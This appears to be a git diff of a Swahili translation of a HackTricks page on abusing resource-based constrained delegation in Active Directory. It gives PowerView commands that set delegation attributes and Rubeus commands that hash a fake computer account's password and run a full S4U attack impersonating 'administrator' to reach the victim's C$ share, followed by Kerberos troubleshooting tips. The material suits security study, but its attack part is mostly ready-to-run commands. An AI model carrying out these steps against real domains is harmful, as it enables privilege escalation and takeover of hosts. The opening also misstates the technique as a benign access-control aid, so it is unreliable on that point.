**Kutumia powerview**
|
||||
|
||||
Powerview ni zana yenye nguvu ya PowerShell ambayo inaweza kutumiwa kuchunguza na kuchunguza mazingira ya Active Directory. Inatoa uwezo wa kufanya kazi na vipengele vya Active Directory kwa urahisi na kwa ufanisi.
|
||||
|
||||
Kwa kutumia Powerview, unaweza kutekeleza mbinu mbalimbali za kudhibiti rasilimali kwenye mfumo wa Active Directory. Hii ni pamoja na kutekeleza mbinu za kudhibiti rasilimali zilizopunguzwa (constrained delegation) ambazo zinaweza kusaidia katika kudhibiti ufikiaji wa rasilimali kwa watumiaji fulani.
|
||||
|
||||
Kwa kufuata hatua zifuatazo, unaweza kutumia Powerview kutekeleza mbinu za kudhibiti rasilimali zilizopunguzwa:
|
||||
|
||||
1. Tumia amri ya PowerShell `Import-Module .\PowerView.ps1` ili kuagiza Powerview.
|
||||
2. Tumia amri ya PowerShell `Get-DomainUser -Identity <username>` ili kupata habari za mtumiaji wa kikoa.
|
||||
3. Tumia amri ya PowerShell `Get-DomainComputer -Identity <computername>` ili kupata habari za kompyuta ya kikoa.
|
||||
4. Tumia amri ya PowerShell `Set-DomainObject -Identity <object> -Add @{'msDS-AllowedToDelegateTo'="<target>"} -Verbose` ili kuwezesha kudhibiti rasilimali zilizopunguzwa kwa lengo fulani.
|
||||
|
||||
Kwa kufuata hatua hizi, unaweza kutumia Powerview kutekeleza mbinu za kudhibiti rasilimali zilizopunguzwa kwenye mfumo wa Active Directory. Hii inaweza kuwa na manufaa katika kudhibiti ufikiaji wa rasilimali kwa watumiaji wanaohusika.
|
||||
```powershell
|
||||
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
||||
|
@ -96,43 +87,43 @@ msds-allowedtoactonbehalfofotheridentity
|
|||
```
|
||||
### Kutekeleza shambulio kamili la S4U
|
||||
|
||||
Kwanza kabisa, tumeunda kitu kipya cha Kompyuta na nenosiri `123456`, hivyo tunahitaji hash ya nenosiri hilo:
|
||||
Kwanza kabisa, tuliumba kitu kipya cha Kompyuta na nenosiri `123456`, hivyo tunahitaji hash ya nenosiri hilo:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
Hii itaonyesha RC4 na AES hashes kwa akaunti hiyo.\
|
||||
Hii itachapisha RC4 na AES hashes kwa akaunti hiyo.\
|
||||
Sasa, shambulio linaweza kutekelezwa:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
Unaweza kuzalisha tiketi zaidi kwa kuuliza mara moja tu kwa kutumia `/altservice` paramu ya Rubeus:
|
||||
Unaweza kuzalisha tiketi zaidi kwa kuuliza mara moja kwa kutumia paramu ya `/altservice` ya Rubeus:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Tafadhali kumbuka kuwa watumiaji wana sifa inayoitwa "**Haiwezi kupelekwa**". Ikiwa mtumiaji ana sifa hii kuwa ya kweli, hautaweza kujifanya kuwa yeye. Mali hii inaweza kuonekana ndani ya bloodhound.
|
||||
Tafadhali kumbuka kuwa watumiaji wana sifa inayoitwa "**Haiwezi kupelekwa**". Ikiwa mtumiaji ana sifa hii kuwa Kweli, hutaweza kujifanya kuwa yeye. Mali hii inaweza kuonekana ndani ya bloodhound.
|
||||
{% endhint %}
|
||||
|
||||
### Kupata
|
||||
|
||||
Amri ya mwisho itatekeleza **shambulio kamili la S4U na kuingiza TGS** kutoka kwa Msimamizi kwenda kwa mwenyeji wa mwathirika katika **kumbukumbu**.\
|
||||
Katika mfano huu, TGS ilihitajika kwa huduma ya **CIFS** kutoka kwa Msimamizi, kwa hivyo utaweza kupata **C$**:
|
||||
Amri ya mwisho itatekeleza **shambulio kamili la S4U na kuingiza TGS** kutoka kwa Msimamizi kwenda kwa mwenyeji wa mwathiriwa kwenye **kumbukumbu**.\
|
||||
Katika mfano huu, ilikuwa imeombwa TGS kwa huduma ya **CIFS** kutoka kwa Msimamizi, hivyo utaweza kupata **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
### Matumizi ya tiketi za huduma tofauti
|
||||
|
||||
Jifunze kuhusu [**tiketi za huduma zinazopatikana hapa**](silver-ticket.md#available-services).
|
||||
Jifunze kuhusu [**tiketi za huduma zilizopo hapa**](silver-ticket.md#available-services).
|
||||
|
||||
## Makosa ya Kerberos
|
||||
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: Hii inamaanisha kuwa Kerberos imeundwa kutokutumia DES au RC4 na unatoa tu hash ya RC4. Toa angalau hash ya AES256 kwa Rubeus (au toa tu hash za rc4, aes128, na aes256). Mfano: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KRB_AP_ERR_SKEW`**: Hii inamaanisha kuwa wakati wa kompyuta ya sasa ni tofauti na wakati wa DC na Kerberos haifanyi kazi vizuri.
|
||||
* **`preauth_failed`**: Hii inamaanisha kuwa jina la mtumiaji + hash zilizotolewa hazifanyi kazi kuingia. Huenda umesahau kuweka "$" ndani ya jina la mtumiaji wakati wa kuzalisha hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`KDC_ERR_BADOPTION`**: Hii inaweza maana:
|
||||
* Mtumiaji unayejaribu kujifanya hawezi kupata huduma inayotakiwa (kwa sababu huwezi kujifanya au kwa sababu haina vya kutosha)
|
||||
* Huduma iliyoombwa haipo (ikiwa unauliza tiketi kwa winrm lakini winrm haifanyi kazi)
|
||||
* Kompyuta bandia iliyoundwa imepoteza mamlaka yake juu ya seva inayoweza kudhurika na unahitaji kuirudisha.
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: Hii inamaanisha kuwa kerberos imeboreshwa kutokutumia DES au RC4 na unatoa tu hash ya RC4. Toa kwa Rubeus angalau hash ya AES256 (au toa tu hash za rc4, aes128 na aes256). Mfano: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KRB_AP_ERR_SKEW`**: Hii inamaanisha kuwa wakati wa kompyuta ya sasa ni tofauti na ile ya DC na kerberos haifanyi kazi vizuri.
|
||||
* **`preauth_failed`**: Hii inamaanisha kuwa jina la mtumiaji lililotolewa + hash hazifanyi kazi kuingia. Huenda umesahau kuweka "$" ndani ya jina la mtumiaji unapozalisha hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`KDC_ERR_BADOPTION`**: Hii inaweza kumaanisha:
|
||||
* Mtumiaji unayejaribu kujifanya hawezi kupata huduma inayotakiwa (kwa sababu huwezi kujifanya au kwa sababu haina vya kutosha)
|
||||
* Huduma uliyoomba haipo (ikiwa unauliza tiketi kwa winrm lakini winrm haifanyi kazi)
|
||||
* Kompyuta bandia iliyoanzishwa imepoteza mamlaka yake juu ya seva yenye mapungufu na unahitaji kuzirudisha.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -141,16 +132,20 @@ Jifunze kuhusu [**tiketi za huduma zinazopatikana hapa**](silver-ticket.md#avail
|
|||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue